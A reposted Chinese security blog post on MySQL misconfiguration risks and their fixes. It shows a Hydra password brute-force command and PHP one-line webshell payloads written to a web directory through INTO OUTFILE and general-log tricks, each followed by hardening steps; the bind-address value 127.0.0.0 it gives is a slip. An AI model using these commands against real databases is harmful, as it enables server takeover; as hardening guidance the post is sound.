0


安全攻防 | mysql安全问题及修复方式

声明:本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。

Mysql是目前较为流行的关系型数据库管理系统,由于其体积小、速度快、维护成本较低。一般中小型网站的开发使用Mysql作为网站数据库较多。但是Mysql的不安全配置,也会带来很多的安全隐患,如:Mysql弱口令、数据库写webshell、UDF提权等。在本节将给读者介绍几种常见的Mysql不安全配置导致的安全问题,并针对该问题提供了常用的修复和加固方式。

1、Mysql数据库口令猜解

Mysql数据库在允许远程连接的情况下,攻击者可以利用弱口令检查工具,如:Hydra等,对Mysql数据库进行弱口令暴力破解攻击,如图所示为通过Hydra远程暴力破解数据库口令,猜解出口令为root/root。

>>> sudo hydra -l root -P password.txt mysql://192.168.5.160 -I

014ccf6c88570365edefe83ba5057529.png

为防止攻击者远程暴力破解Mysql数据库口令,对于站库分离的网站类型,可以通过设置白名单的方式,禁止数据库被公开访问,如不是站库分离的网站类型,可以关闭Mysql远程连接方式,只允许本地localhost连接管理数据库,利用该方式可以有效防止攻击者Mysql远程暴力破解攻击。

通过执行如下命令语句查询Mysql允许远程主机连接数据库情况,如果host字段为”%”表示该数据库允许远程主机连接,可以通过修改host字段为localhost表示只允许本地主机连接到Mysql数据库。如图所示,更改 Mysql只允许本地主机连接。

mysql> use mysql;
mysql> select host, user from user;
mysql> update user set host='localhost' where user='root';
mysql> select host, user from user;

46d15ee7794804af47f74afa4cb1650e.png

可以通过更改配置文件mysql/mysql.conf.d/mysqld.cnf或mysql/my.cnf配置文件。修改“bind-address”字段的值为127.0.0.0。这样可以使得远程主机探测不到mysql数据库开放的tcp端口。

2b9f056598eb581348b8075c6441533d.png

修改Mysql数据库用户的登录口令的复杂度,通常要求密码长度在8-16位,字母大小写、数字、特殊字符的组合。不同的Mysql版本更改方式不同,此处列举了Mysql5和Mysql8两个版本的实例,如下所示:

对于Mysql8版本,可以通过执行以下指令修改root的登录口令。其中的‘%’根据查询的mysql数据库中的host字段的值确定。

>>> sudo mysql -u root -p
MySQL > use mysql;
MySQL >ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY 'AnyWhereis5@0';

对于Mysql 5版本,可以通过执行以下指令修改root的登录口令。

>>> sudo mysql -u root -p
MySQL > use mysql;
MySQL >update user set authentication_string=password("AnyWhereis5@0") where user='root';

当攻击者成功猜解到数据库登录口令或者目标网站存在sql注入时,除了能够获取到数据库存储的敏感数据以外,如果Mysql具备可以在网站目录写权限的情况下,在向目标网站写入一句话木马文件,通过蚁剑工具远程连接后获取到目标网站的webshell,操作过程如图所示。

2、数据库写webshell

>>> select '<?php @eval($_POST[passwd]);?>' into outfile '/var/www/html/shell.php';

22e97e85c757569e670f6920a98db282.png

如果目标网站设置了secure_file_priv参数,限制了Mysql文件写入功能。攻击者也可以修改MySQL的log日志文件写入一句话木马文件,最后通过蚁剑工具远程连接后获取到目标网站的webshell,操作过程如图所示。

MySQL > show variables like '%general%';
MySQL > set global general_log = on;
MySQL> select '<?php @eval($_POST[passwd]);?>';
MySQL> set global general_log=off;

8bba05e4ba9a867305b6688349e2c63e.png

为防止攻击者通过Mysql向网站写入一句话木马,可以通过修改mysql/mysql.conf.d/mysqld.cnf或mysql/my.cnf配置文件,将secure_file_priv参数设置“NULL“或者指定特定目录路径,这样可以禁用或者限制Mysql的导入与导出功能。

为防止攻击者通过修改Mysql日志文件的方式向网站写入一句话木马,可以通过禁用root用户远程连接的方式,使用降权后的普通用户权限连接,

mysql> revoke ALL on *.* from admin@'%';

8651803efb4fd65bad0c3dc2c88a2a8c.png

阅读更多文章,欢迎关注公众号:betasec

标签: mysql 数据库 安全

本文转载自: https://blog.csdn.net/qq_34839026/article/details/128722458
版权归原作者 betasec 所有, 如有侵权,请联系我们删除。

“安全攻防 | mysql安全问题及修复方式”的评论:

还没有评论